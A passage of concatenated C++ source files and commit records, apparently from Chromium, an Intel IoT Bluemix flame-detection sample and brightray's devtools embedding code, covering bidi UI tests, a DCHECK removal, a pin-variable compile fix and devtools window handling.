WebUIBrowserTest::AddLibrary(WebUIBidiCheckerLibraryJSPath());
WebUIBrowserTest::AddLibrary(FilePath(kBidiCheckerTestsJS));
}
void WebUIBidiCheckerBrowserTest::RunBidiCheckerOnPage(const char pageURL[],
bool isRTL) {
ui_test_utils::NavigateToURL(browser(), GURL(pageURL));
ASSERT_TRUE(RunJavascriptTest("runBidiChecker",
Value::CreateStringValue(pageURL),
Value::CreateBooleanValue(isRTL)));
}
// WebUIBidiCheckerBrowserTestFakeBidi
WebUIBidiCheckerBrowserTestFakeBidi::~WebUIBidiCheckerBrowserTestFakeBidi() {}
WebUIBidiCheckerBrowserTestFakeBidi::WebUIBidiCheckerBrowserTestFakeBidi() {}
void WebUIBidiCheckerBrowserTestFakeBidi::SetUpOnMainThread() {
WebUIBidiCheckerBrowserTest::SetUpOnMainThread();
FilePath pak_path;
app_locale_ = base::i18n::GetConfiguredLocale();
ASSERT_TRUE(PathService::Get(base::FILE_MODULE, &pak_path));
pak_path = pak_path.DirName();
pak_path = pak_path.AppendASCII("pseudo_locales");
pak_path = pak_path.AppendASCII("fake-bidi");
pak_path = pak_path.ReplaceExtension(FILE_PATH_LITERAL("pak"));
ResourceBundle::GetSharedInstance().OverrideLocalePakForTest(pak_path);
ResourceBundle::ReloadSharedInstance("he");
base::i18n::SetICUDefaultLocale("he");
#if defined(OS_POSIX) && defined(TOOLKIT_USES_GTK)
gtk_widget_set_default_direction(GTK_TEXT_DIR_RTL);
#endif
}
void WebUIBidiCheckerBrowserTestFakeBidi::CleanUpOnMainThread() {
WebUIBidiCheckerBrowserTest::CleanUpOnMainThread();
#if defined(OS_POSIX) && defined(TOOLKIT_USES_GTK)
gtk_widget_set_default_direction(GTK_TEXT_DIR_LTR);
#endif
base::i18n::SetICUDefaultLocale(app_locale_);
ResourceBundle::GetSharedInstance().OverrideLocalePakForTest(FilePath());
ResourceBundle::ReloadSharedInstance(app_locale_);
}
// Tests
IN_PROC_BROWSER_TEST_F(WebUIBidiCheckerBrowserTest, TestMainHistoryPageLTR) {
HistoryService* history_service =
browser()->profile()->GetHistoryService(Profile::IMPLICIT_ACCESS);
GURL history_url = GURL("http://www.ynet.co.il");
history_service->AddPage(history_url, history::SOURCE_BROWSED);
string16 title;
ASSERT_TRUE(UTF8ToUTF16("\xD7\x91\xD7\x93\xD7\x99\xD7\xA7\xD7\x94\x21",
12,
&title));
history_service->SetPageTitle(history_url, title);
RunBidiCheckerOnPage(chrome::kChromeUIHistoryURL, false);
}
IN_PROC_BROWSER_TEST_F(WebUIBidiCheckerBrowserTestFakeBidi,
TestMainHistoryPageRTL) {
HistoryService* history_service =
browser()->profile()->GetHistoryService(Profile::IMPLICIT_ACCESS);
GURL history_url = GURL("http://www.google.com");
history_service->AddPage(history_url, history::SOURCE_BROWSED);
string16 title = UTF8ToUTF16("Google");
history_service->SetPageTitle(history_url, title);
WebUIBidiCheckerBrowserTest::RunBidiCheckerOnPage(chrome::kChromeUIHistoryURL,
true);
}
IN_PROC_BROWSER_TEST_F(WebUIBidiCheckerBrowserTest, TestAboutPageLTR) {
RunBidiCheckerOnPage(chrome::kChromeUIAboutURL, false);
}
IN_PROC_BROWSER_TEST_F(WebUIBidiCheckerBrowserTest, TestBugReportPageLTR) {
RunBidiCheckerOnPage(chrome::kChromeUIBugReportURL, false);
}
IN_PROC_BROWSER_TEST_F(WebUIBidiCheckerBrowserTest, TestCrashesPageLTR) {
RunBidiCheckerOnPage(chrome::kChromeUICrashesURL, false);
}
IN_PROC_BROWSER_TEST_F(WebUIBidiCheckerBrowserTestFakeBidi,
TestCrashesPageRTL) {
WebUIBidiCheckerBrowserTest::RunBidiCheckerOnPage(chrome::kChromeUICrashesURL,
true);
}
IN_PROC_BROWSER_TEST_F(WebUIBidiCheckerBrowserTest, TestDownloadsPageLTR) {
RunBidiCheckerOnPage(chrome::kChromeUIDownloadsURL, false);
}
IN_PROC_BROWSER_TEST_F(WebUIBidiCheckerBrowserTestFakeBidi,
TestDownloadsPageRTL) {
WebUIBidiCheckerBrowserTest::RunBidiCheckerOnPage(
chrome::kChromeUIDownloadsURL, true);
}
IN_PROC_BROWSER_TEST_F(WebUIBidiCheckerBrowserTest, TestNewTabPageLTR) {
RunBidiCheckerOnPage(chrome::kChromeUINewTabURL, false);
}
// http://crbug.com/97453
IN_PROC_BROWSER_TEST_F(WebUIBidiCheckerBrowserTestFakeBidi,
DISABLED_TestNewTabPageRTL) {
WebUIBidiCheckerBrowserTest::RunBidiCheckerOnPage(chrome::kChromeUINewTabURL,
true);
}
IN_PROC_BROWSER_TEST_F(WebUIBidiCheckerBrowserTest, TestPluginsPageLTR) {
RunBidiCheckerOnPage(chrome::kChromeUIPluginsURL, false);
}
IN_PROC_BROWSER_TEST_F(WebUIBidiCheckerBrowserTestFakeBidi,
TestPluginsPageRTL) {
WebUIBidiCheckerBrowserTest::RunBidiCheckerOnPage(chrome::kChromeUIPluginsURL,
true);
}
IN_PROC_BROWSER_TEST_F(WebUIBidiCheckerBrowserTest, TestSettingsPageLTR) {
RunBidiCheckerOnPage(chrome::kChromeUISettingsURL, false);
}
IN_PROC_BROWSER_TEST_F(WebUIBidiCheckerBrowserTestFakeBidi,
TestSettingsPageRTL) {
WebUIBidiCheckerBrowserTest::RunBidiCheckerOnPage(
chrome::kChromeUISettingsURL, true);
}
#if defined(OS_MACOSX)
// http://crbug.com/94642
#define MAYBE_TestSettingsAutofillPageLTR FLAKY_TestSettingsAutofillPageLTR
#elif defined(OS_WIN)
// http://crbug.com/95425
#define MAYBE_TestSettingsAutofillPageLTR FAILS_TestSettingsAutofillPageLTR
#else
#define MAYBE_TestSettingsAutofillPageLTR TestSettingsAutofillPageLTR
#endif // defined(OS_MACOSX)
IN_PROC_BROWSER_TEST_F(WebUIBidiCheckerBrowserTest,
MAYBE_TestSettingsAutofillPageLTR) {
std::string url(chrome::kChromeUISettingsURL);
url += std::string(chrome::kAutofillSubPage);
autofill_test::DisableSystemServices(browser()->profile());
AutofillProfile profile;
autofill_test::SetProfileInfo(
&profile,
"\xD7\x9E\xD7\xA9\xD7\x94",
"\xD7\x91",
"\xD7\x9B\xD7\x94\xD7\x9F",
"moshe.b.cohen@biditest.com",
"\xD7\x91\xD7\x93\xD7\x99\xD7\xA7\xD7\x94\x20\xD7\x91\xD7\xA2\xD7\x9E",
"\xD7\x93\xD7\xA8\xD7\x9A\x20\xD7\x9E\xD7\xA0\xD7\x97\xD7\x9D\x20\xD7\x91\xD7\x92\xD7\x99\xD7\x9F\x20\x32\x33",
"\xD7\xA7\xD7\x95\xD7\x9E\xD7\x94\x20\x32\x36",
"\xD7\xAA\xD7\x9C\x20\xD7\x90\xD7\x91\xD7\x99\xD7\x91",
"",
"66183",
"\xD7\x99\xD7\xA9\xD7\xA8\xD7\x90\xD7\x9C",
"0000");
PersonalDataManager* personal_data_manager =
PersonalDataManagerFactory::GetForProfile(browser()->profile());
ASSERT_TRUE(personal_data_manager);
personal_data_manager->AddProfile(profile);
RunBidiCheckerOnPage(url.c_str(), false);
}
IN_PROC_BROWSER_TEST_F(WebUIBidiCheckerBrowserTestFakeBidi,
TestSettingsAutofillPageRTL) {
std::string url(chrome::kChromeUISettingsURL);
url += std::string(chrome::kAutofillSubPage);
autofill_test::DisableSystemServices(browser()->profile());
AutofillProfile profile;
autofill_test::SetProfileInfo(
&profile,
"Milton",
"C.",
"Waddams",
"red.swingline@initech.com",
"Initech",
"4120 Freidrich Lane",
"Basement",
"Austin",
"Texas",
"78744",
"United States",
"5125551234");
PersonalDataManager* personal_data_manager =
PersonalDataManagerFactory::GetForProfile(browser()->profile());
ASSERT_TRUE(personal_data_manager);
personal_data_manager->AddProfile(profile);
WebUIBidiCheckerBrowserTest::RunBidiCheckerOnPage(url.c_str(), true);
}
<|endoftext|>
|
<commit_before>// Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "chrome/test/automation/automation_handle_tracker.h"
#include "chrome/test/automation/automation_messages.h"
#include "chrome/test/automation/automation_proxy.h"
AutomationResourceProxy::AutomationResourceProxy(
AutomationHandleTracker* tracker, AutomationMessageSender* sender,
AutomationHandle handle)
: handle_(handle),
tracker_(tracker),
sender_(sender),
is_valid_(true) {
tracker_->Add(this);
}
AutomationResourceProxy::~AutomationResourceProxy() {
if (tracker_)
tracker_->Remove(this);
}
AutomationHandleTracker::~AutomationHandleTracker() {
// Tell any live objects that the tracker is going away so they don't try to
// call us when they are being destroyed.
for (HandleToObjectMap::iterator iter = handle_to_object_.begin();
iter != handle_to_object_.end(); ++iter) {
iter->second->Invalidate();
iter->second->TrackerGone();
}
}
void AutomationHandleTracker::Add(AutomationResourceProxy* proxy) {
AutoLock lock(map_lock_);
handle_to_object_.insert(MapEntry(proxy->handle(), proxy));
}
void AutomationHandleTracker::Remove(AutomationResourceProxy* proxy) {
AutoLock lock(map_lock_);
HandleToObjectMap::iterator iter = handle_to_object_.find(proxy->handle());
if (iter != handle_to_object_.end()) {
handle_to_object_.erase(iter);
sender_->Send(new AutomationMsg_HandleUnused(0, proxy->handle()));
}
}
void AutomationHandleTracker::InvalidateHandle(AutomationHandle handle) {
// Called in background thread.
AutoLock lock(map_lock_);
HandleToObjectMap::iterator iter = handle_to_object_.find(handle);
if (iter != handle_to_object_.end()) {
iter->second->Invalidate();
}
}
AutomationResourceProxy* AutomationHandleTracker::GetResource(
AutomationHandle handle) {
DCHECK(handle);
AutoLock lock(map_lock_);
HandleToObjectMap::iterator iter = handle_to_object_.find(handle);
if (iter == handle_to_object_.end())
return NULL;
iter->second->AddRef();
return iter->second;
}
<commit_msg>Remove spurious DCHECK in automation handle tracker that was occasionally getting tripped. Note that the handle value can safely be zero here.<commit_after>// Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "chrome/test/automation/automation_handle_tracker.h"
#include "chrome/test/automation/automation_messages.h"
#include "chrome/test/automation/automation_proxy.h"
AutomationResourceProxy::AutomationResourceProxy(
AutomationHandleTracker* tracker, AutomationMessageSender* sender,
AutomationHandle handle)
: handle_(handle),
tracker_(tracker),
sender_(sender),
is_valid_(true) {
tracker_->Add(this);
}
AutomationResourceProxy::~AutomationResourceProxy() {
if (tracker_)
tracker_->Remove(this);
}
AutomationHandleTracker::~AutomationHandleTracker() {
// Tell any live objects that the tracker is going away so they don't try to
// call us when they are being destroyed.
for (HandleToObjectMap::iterator iter = handle_to_object_.begin();
iter != handle_to_object_.end(); ++iter) {
iter->second->Invalidate();
iter->second->TrackerGone();
}
}
void AutomationHandleTracker::Add(AutomationResourceProxy* proxy) {
AutoLock lock(map_lock_);
handle_to_object_.insert(MapEntry(proxy->handle(), proxy));
}
void AutomationHandleTracker::Remove(AutomationResourceProxy* proxy) {
AutoLock lock(map_lock_);
HandleToObjectMap::iterator iter = handle_to_object_.find(proxy->handle());
if (iter != handle_to_object_.end()) {
handle_to_object_.erase(iter);
sender_->Send(new AutomationMsg_HandleUnused(0, proxy->handle()));
}
}
void AutomationHandleTracker::InvalidateHandle(AutomationHandle handle) {
// Called in background thread.
AutoLock lock(map_lock_);
HandleToObjectMap::iterator iter = handle_to_object_.find(handle);
if (iter != handle_to_object_.end()) {
iter->second->Invalidate();
}
}
AutomationResourceProxy* AutomationHandleTracker::GetResource(
AutomationHandle handle) {
AutoLock lock(map_lock_);
HandleToObjectMap::iterator iter = handle_to_object_.find(handle);
if (iter == handle_to_object_.end())
return NULL;
iter->second->AddRef();
return iter->second;
}
<|endoftext|>
|
<commit_before>/*
* Author: Marc Ernst <marc.ernst@intel.com>
* Copyright (c) 2015 - 2017 Intel Corporation.
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sublicense, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice shall be
* included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
* LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
* OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
* WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
/**
* Demonstration of a IBM* Bluemix device client and application client communicating
* with each other.
* This project template is using the flame sensor to simulate fire detection.
* The result is send through the device client to the IBM* Bluemix. The application
* listening for the device topic will be notified when the message has been sent.
* Depending on the result, the application will send a command to the device client
* to turn on/off the fire alert. The fire alert will be simulated by enabling the
* Grove Buzzer for some seconds.\n\n
*
* Note: Publishing and subscribing to commands requires an account and is not
* available with IBM* Quickstart.\n\n
*
* First steps:\n
* Go to https://quickstart.internetofthings.ibmcloud.com/#/ and enter
* the device id used in the credentials header file.\n
* Run the example and check the results at:\n
* https://quickstart.internetofthings.ibmcloud.com/#/device/{DEVICE ID}/sensor/
* \n
* \n* Other names and brands may be claimed as the property of others.
*
* Hardware Sensors used:\n
* Grove Buzzer (GroveLed)\n
* connected to the Grove Base Shield Port D5\n
* Flame Sensor (YG1006)\n
* connected to the Grove Base Shield Port D3\n
*
*/
#include "mraa.hpp"
#include <iostream>
#include <yg1006.hpp>
#include <unistd.h>
#include <buzzer.hpp>
#include <buzzer_tones.h>
#include "BluemixFDAppClient.hpp"
#include "BluemixFDDeviceClient.hpp"
using namespace std;
using namespace mraa;
// define the following if not using the sensor & buzzer
//#define SIMULATE_DEVICES
#ifndef SIMULATE_DEVICES
int dPin;
int pwmPin;
#endif
// Define the following if using a Grove Pi Shield for UP2 board
#define USING_GROVE_PI_SHIELD
upm::Buzzer * buzzer;
/*
* This function is using the flame sensor to detect a fire and calls the
* device client to send the message to the application
* @param device_client A handle of the device client
* @param app_client A handle of the application client
*/
int detect_flame(Device_client * device_client, App_client * app_client)
{
#ifndef SIMULATE_DEVICES
upm::YG1006 flameSensor(dPin);
#endif
/* Code in this loop will run repeatedly
*/
for (;;) {
// check if the device client is connected
if (device_client == NULL || ! device_client->is_connected()) {
app_client->disconnect();
fprintf(stderr, "Device client disconnected, exiting");
break;
}
// check if the application client is connected
if (app_client == NULL || ! app_client->is_connected()) {
device_client->disconnect();
fprintf(stderr, "Application client disconnected, exiting");
break;
}
// check for flames or similar light sources
bool flameDetected = 0;
#ifndef SIMULATE_DEVICES
flameDetected = flameSensor.flameDetected();
#endif
if (flameDetected) {
printf("Flame or similar light source detected!\n");
} else {
printf("No flame detected.\n");
}
// send the result through the device client to the application
device_client->send_fire_detected(flameDetected);
sleep(3);
}
return SUCCESS;
}
/*
* This function is called when a fire alert has been triggered
*/
int fire_alert() {
printf("Fire alert called\n");
#ifndef SIMULATE_DEVICES
if (buzzer == NULL) {
fprintf(stderr, "Buzzer not initialized");
return ERROR_INVALID_HANDLE;
}
// set the volume
buzzer->setVolume(1.0);
// fire alert
buzzer->playSound(BUZZER_MI, 400000);
#endif
return SUCCESS;
}
int main()
{
#ifndef SIMULATE_DEVICES
string unknownPlatformMessage = "This sample uses the MRAA/UPM library for I/O access, "
"you are running it on an unrecognized platform. "
"You may need to modify the MRAA/UPM initialization code to "
"ensure it works properly on your platform.\n\n";
// check which board we are running on
Platform platform = getPlatformType();
switch (platform) {
case INTEL_UP2:
dPin = 13; // digital in
pwmPin = 33; // PWM
#ifdef USING_GROVE_PI_SHIELD
gpioPin = 4 + 512; // D4 Connector (512 offset needed for the shield)
pwmPin = 5 + 512; // D5 works as PWM on Grove PI Shield
break;
#endif
default:
cerr << unknownPlatformMessage;
}
#ifdef USING_GROVE_PI_SHIELD
addSubplatform(GROVEPI, "0");
#endif
// check if running as root
int euid = geteuid();
if (euid) {
cerr << "This project uses Mraa I/O operations, but you're not running as 'root'.\n"
"The IO operations below might fail.\n"
"See the project's Readme for more info.\n\n";
}
// initialize the buzzer
buzzer = new upm::Buzzer(pwmPin);
if (buzzer == NULL) {
fprintf(stderr, "Buzzer not initialized");
return ERROR_INVALID_HANDLE;
}
#endif
// initialize the device client
cerr << "Connecting to MQTT client ..." << endl;
Device_client device_client = Device_client(fire_alert);
int rc = device_client.connect();
if (rc != MQTTCLIENT_SUCCESS) {
fprintf(stderr, "Could not connect device client to server, exiting");
return rc;
}
// subscribe to commands is not available with IBM Quickstart,
// this requires an account
rc = device_client.subscribe_to_cmd();
if (rc != MQTTCLIENT_SUCCESS) {
fprintf(stderr,
"Device client could not subscribe to command, account required");
}
// initialize the application client
App_client app_client = App_client();
rc = app_client.connect();
if (rc != MQTTCLIENT_SUCCESS) {
fprintf(stderr,
"Could not connect application client to server, exiting");
return rc;
}
// subscribe to events send from the device
rc = app_client.subscribe_to_event();
if (rc != MQTTCLIENT_SUCCESS) {
return rc;
}
// start flame detection
#ifndef SIMULATE_DEVICES
detect_flame(&device_client, &app_client);
#endif
// cleanup the buzzer
delete buzzer;
return SUCCESS;
}
<commit_msg>Fix small compile issue in bluemix-flame-detect<commit_after>/*
* Author: Marc Ernst <marc.ernst@intel.com>
* Copyright (c) 2015 - 2017 Intel Corporation.
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sublicense, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice shall be
* included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
* LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
* OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
* WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
/**
* Demonstration of a IBM* Bluemix device client and application client communicating
* with each other.
* This project template is using the flame sensor to simulate fire detection.
* The result is send through the device client to the IBM* Bluemix. The application
* listening for the device topic will be notified when the message has been sent.
* Depending on the result, the application will send a command to the device client
* to turn on/off the fire alert. The fire alert will be simulated by enabling the
* Grove Buzzer for some seconds.\n\n
*
* Note: Publishing and subscribing to commands requires an account and is not
* available with IBM* Quickstart.\n\n
*
* First steps:\n
* Go to https://quickstart.internetofthings.ibmcloud.com/#/ and enter
* the device id used in the credentials header file.\n
* Run the example and check the results at:\n
* https://quickstart.internetofthings.ibmcloud.com/#/device/{DEVICE ID}/sensor/
* \n
* \n* Other names and brands may be claimed as the property of others.
*
* Hardware Sensors used:\n
* Grove Buzzer (GroveLed)\n
* connected to the Grove Base Shield Port D5\n
* Flame Sensor (YG1006)\n
* connected to the Grove Base Shield Port D3\n
*
*/
#include "mraa.hpp"
#include <iostream>
#include <yg1006.hpp>
#include <unistd.h>
#include <buzzer.hpp>
#include <buzzer_tones.h>
#include "BluemixFDAppClient.hpp"
#include "BluemixFDDeviceClient.hpp"
using namespace std;
using namespace mraa;
// define the following if not using the sensor & buzzer
//#define SIMULATE_DEVICES
#ifndef SIMULATE_DEVICES
int dPin;
int pwmPin;
#endif
// Define the following if using a Grove Pi Shield for UP2 board
#define USING_GROVE_PI_SHIELD
upm::Buzzer * buzzer;
/*
* This function is using the flame sensor to detect a fire and calls the
* device client to send the message to the application
* @param device_client A handle of the device client
* @param app_client A handle of the application client
*/
int detect_flame(Device_client * device_client, App_client * app_client)
{
#ifndef SIMULATE_DEVICES
upm::YG1006 flameSensor(dPin);
#endif
/* Code in this loop will run repeatedly
*/
for (;;) {
// check if the device client is connected
if (device_client == NULL || ! device_client->is_connected()) {
app_client->disconnect();
fprintf(stderr, "Device client disconnected, exiting");
break;
}
// check if the application client is connected
if (app_client == NULL || ! app_client->is_connected()) {
device_client->disconnect();
fprintf(stderr, "Application client disconnected, exiting");
break;
}
// check for flames or similar light sources
bool flameDetected = 0;
#ifndef SIMULATE_DEVICES
flameDetected = flameSensor.flameDetected();
#endif
if (flameDetected) {
printf("Flame or similar light source detected!\n");
} else {
printf("No flame detected.\n");
}
// send the result through the device client to the application
device_client->send_fire_detected(flameDetected);
sleep(3);
}
return SUCCESS;
}
/*
* This function is called when a fire alert has been triggered
*/
int fire_alert() {
printf("Fire alert called\n");
#ifndef SIMULATE_DEVICES
if (buzzer == NULL) {
fprintf(stderr, "Buzzer not initialized");
return ERROR_INVALID_HANDLE;
}
// set the volume
buzzer->setVolume(1.0);
// fire alert
buzzer->playSound(BUZZER_MI, 400000);
#endif
return SUCCESS;
}
int main()
{
#ifndef SIMULATE_DEVICES
string unknownPlatformMessage = "This sample uses the MRAA/UPM library for I/O access, "
"you are running it on an unrecognized platform. "
"You may need to modify the MRAA/UPM initialization code to "
"ensure it works properly on your platform.\n\n";
// check which board we are running on
Platform platform = getPlatformType();
switch (platform) {
case INTEL_UP2:
dPin = 13; // digital in
pwmPin = 33; // PWM
#ifdef USING_GROVE_PI_SHIELD
dPin = 4 + 512; // D4 Connector (512 offset needed for the shield)
pwmPin = 5 + 512; // D5 works as PWM on Grove PI Shield
break;
#endif
default:
cerr << unknownPlatformMessage;
}
#ifdef USING_GROVE_PI_SHIELD
addSubplatform(GROVEPI, "0");
#endif
// check if running as root
int euid = geteuid();
if (euid) {
cerr << "This project uses Mraa I/O operations, but you're not running as 'root'.\n"
"The IO operations below might fail.\n"
"See the project's Readme for more info.\n\n";
}
// initialize the buzzer
buzzer = new upm::Buzzer(pwmPin);
if (buzzer == NULL) {
fprintf(stderr, "Buzzer not initialized");
return ERROR_INVALID_HANDLE;
}
#endif
// initialize the device client
cerr << "Connecting to MQTT client ..." << endl;
Device_client device_client = Device_client(fire_alert);
int rc = device_client.connect();
if (rc != MQTTCLIENT_SUCCESS) {
fprintf(stderr, "Could not connect device client to server, exiting");
return rc;
}
// subscribe to commands is not available with IBM Quickstart,
// this requires an account
rc = device_client.subscribe_to_cmd();
if (rc != MQTTCLIENT_SUCCESS) {
fprintf(stderr,
"Device client could not subscribe to command, account required");
}
// initialize the application client
App_client app_client = App_client();
rc = app_client.connect();
if (rc != MQTTCLIENT_SUCCESS) {
fprintf(stderr,
"Could not connect application client to server, exiting");
return rc;
}
// subscribe to events send from the device
rc = app_client.subscribe_to_event();
if (rc != MQTTCLIENT_SUCCESS) {
return rc;
}
// start flame detection
#ifndef SIMULATE_DEVICES
detect_flame(&device_client, &app_client);
#endif
// cleanup the buzzer
delete buzzer;
return SUCCESS;
}
<|endoftext|>
|
<commit_before>// Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Copyright (c) 2013 Adam Roben <adam@roben.org>. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE-CHROMIUM file.
#include "browser/inspectable_web_contents_impl.h"
#include "browser/browser_client.h"
#include "browser/browser_context.h"
#include "browser/browser_main_parts.h"
#include "browser/inspectable_web_contents_delegate.h"
#include "browser/inspectable_web_contents_view.h"
#include "base/json/json_reader.h"
#include "base/prefs/pref_registry_simple.h"
#include "base/prefs/pref_service.h"
#include "base/strings/stringprintf.h"
#include "base/strings/utf_string_conversions.h"
#include "base/values.h"
#include "content/public/browser/devtools_agent_host.h"
#include "content/public/browser/devtools_client_host.h"
#include "content/public/browser/devtools_http_handler.h"
#include "content/public/browser/devtools_manager.h"
#include "content/public/browser/host_zoom_map.h"
#include "content/public/browser/render_frame_host.h"
#include "content/public/browser/render_view_host.h"
namespace brightray {
namespace {
const double kPresetZoomFactors[] = { 0.25, 0.333, 0.5, 0.666, 0.75, 0.9, 1.0,
1.1, 1.25, 1.5, 1.75, 2.0, 2.5, 3.0, 4.0,
5.0 };
const char kDevToolsScheme[] = "chrome-devtools";
const char kDevToolsHost[] = "devtools";
const char kChromeUIDevToolsURL[] = "chrome-devtools://devtools/devtools.html?"
"can_dock=true&&"
"experiments=true";
const char kDevToolsBoundsPref[] = "brightray.devtools.bounds";
const char kFrontendHostId[] = "id";
const char kFrontendHostMethod[] = "method";
const char kFrontendHostParams[] = "params";
void RectToDictionary(const gfx::Rect& bounds, base::DictionaryValue* dict) {
dict->SetInteger("x", bounds.x());
dict->SetInteger("y", bounds.y());
dict->SetInteger("width", bounds.width());
dict->SetInteger("height", bounds.height());
}
void DictionaryToRect(const base::DictionaryValue& dict, gfx::Rect* bounds) {
int x = 0, y = 0, width = 800, height = 600;
dict.GetInteger("x", &x);
dict.GetInteger("y", &y);
dict.GetInteger("width", &width);
dict.GetInteger("height", &height);
*bounds = gfx::Rect(x, y, width, height);
}
bool ParseMessage(const std::string& message,
std::string* method,
base::ListValue* params,
int* id) {
scoped_ptr<base::Value> parsed_message(base::JSONReader::Read(message));
if (!parsed_message)
return false;
base::DictionaryValue* dict = NULL;
if (!parsed_message->GetAsDictionary(&dict))
return false;
if (!dict->GetString(kFrontendHostMethod, method))
return false;
// "params" is optional.
if (dict->HasKey(kFrontendHostParams)) {
base::ListValue* internal_params;
if (dict->GetList(kFrontendHostParams, &internal_params))
params->Swap(internal_params);
else
return false;
}
*id = 0;
dict->GetInteger(kFrontendHostId, id);
return true;
}
double GetZoomLevelForWebContents(content::WebContents* web_contents) {
content::HostZoomMap* host_zoom_map = content::HostZoomMap::GetForBrowserContext(
web_contents->GetBrowserContext());
return host_zoom_map->GetZoomLevelForHostAndScheme(kDevToolsScheme, kDevToolsHost);
}
void SetZoomLevelForWebContents(content::WebContents* web_contents, double level) {
content::HostZoomMap* host_zoom_map = content::HostZoomMap::GetForBrowserContext(
web_contents->GetBrowserContext());
return host_zoom_map->SetZoomLevelForHostAndScheme(kDevToolsScheme, kDevToolsHost, level);
}
double GetNextZoomLevel(double level, bool out) {
double factor = content::ZoomLevelToZoomFactor(level);
size_t size = arraysize(kPresetZoomFactors);
for (size_t i = 0; i < size; ++i) {
if (!content::ZoomValuesEqual(kPresetZoomFactors[i], factor))
continue;
if (out && i > 0)
return content::ZoomFactorToZoomLevel(kPresetZoomFactors[i - 1]);
if (!out && i != size - 1)
return content::ZoomFactorToZoomLevel(kPresetZoomFactors[i + 1]);
}
return level;
}
} // namespace
// Implemented separately on each platform.
InspectableWebContentsView* CreateInspectableContentsView(
InspectableWebContentsImpl* inspectable_web_contents_impl);
void InspectableWebContentsImpl::RegisterPrefs(PrefRegistrySimple* registry) {
auto bounds_dict = make_scoped_ptr(new base::DictionaryValue);
RectToDictionary(gfx::Rect(0, 0, 800, 600), bounds_dict.get());
registry->RegisterDictionaryPref(kDevToolsBoundsPref, bounds_dict.release());
}
InspectableWebContentsImpl::InspectableWebContentsImpl(
content::WebContents* web_contents)
: web_contents_(web_contents),
delegate_(nullptr) {
auto context = static_cast<BrowserContext*>(web_contents_->GetBrowserContext());
auto bounds_dict = context->prefs()->GetDictionary(kDevToolsBoundsPref);
if (bounds_dict)
DictionaryToRect(*bounds_dict, &devtools_bounds_);
view_.reset(CreateInspectableContentsView(this));
}
InspectableWebContentsImpl::~InspectableWebContentsImpl() {
}
InspectableWebContentsView* InspectableWebContentsImpl::GetView() const {
return view_.get();
}
content::WebContents* InspectableWebContentsImpl::GetWebContents() const {
return web_contents_.get();
}
void InspectableWebContentsImpl::ShowDevTools() {
// Show devtools only after it has done loading, this is to make sure the
// SetIsDocked is called *BEFORE* ShowDevTools.
if (!devtools_web_contents_) {
embedder_message_dispatcher_.reset(
new DevToolsEmbedderMessageDispatcher(this));
content::WebContents::CreateParams create_params(web_contents_->GetBrowserContext());
devtools_web_contents_.reset(content::WebContents::Create(create_params));
Observe(devtools_web_contents_.get());
devtools_web_contents_->SetDelegate(this);
agent_host_ = content::DevToolsAgentHost::GetOrCreateFor(
web_contents_->GetRenderViewHost());
frontend_host_.reset(
content::DevToolsClientHost::CreateDevToolsFrontendHost(
devtools_web_contents_.get(), this));
content::DevToolsManager::GetInstance()->RegisterDevToolsClientHostFor(
agent_host_, frontend_host_.get());
GURL devtools_url(kChromeUIDevToolsURL);
devtools_web_contents_->GetController().LoadURL(
devtools_url,
content::Referrer(),
content::PAGE_TRANSITION_AUTO_TOPLEVEL,
std::string());
} else {
view_->ShowDevTools();
}
}
void InspectableWebContentsImpl::CloseDevTools() {
if (devtools_web_contents_) {
view_->CloseDevTools();
devtools_web_contents_.reset();
web_contents_->Focus();
}
}
bool InspectableWebContentsImpl::IsDevToolsViewShowing() {
return devtools_web_contents_ && view_->IsDevToolsViewShowing();
}
gfx::Rect InspectableWebContentsImpl::GetDevToolsBounds() const {
return devtools_bounds_;
}
void InspectableWebContentsImpl::SaveDevToolsBounds(const gfx::Rect& bounds) {
auto context = static_cast<BrowserContext*>(web_contents_->GetBrowserContext());
base::DictionaryValue bounds_dict;
RectToDictionary(bounds, &bounds_dict);
context->prefs()->Set(kDevToolsBoundsPref, bounds_dict);
devtools_bounds_ = bounds;
}
void InspectableWebContentsImpl::ActivateWindow() {
}
void InspectableWebContentsImpl::CloseWindow() {
devtools_web_contents()->DispatchBeforeUnload(false);
}
void InspectableWebContentsImpl::SetInspectedPageBounds(const gfx::Rect& rect) {
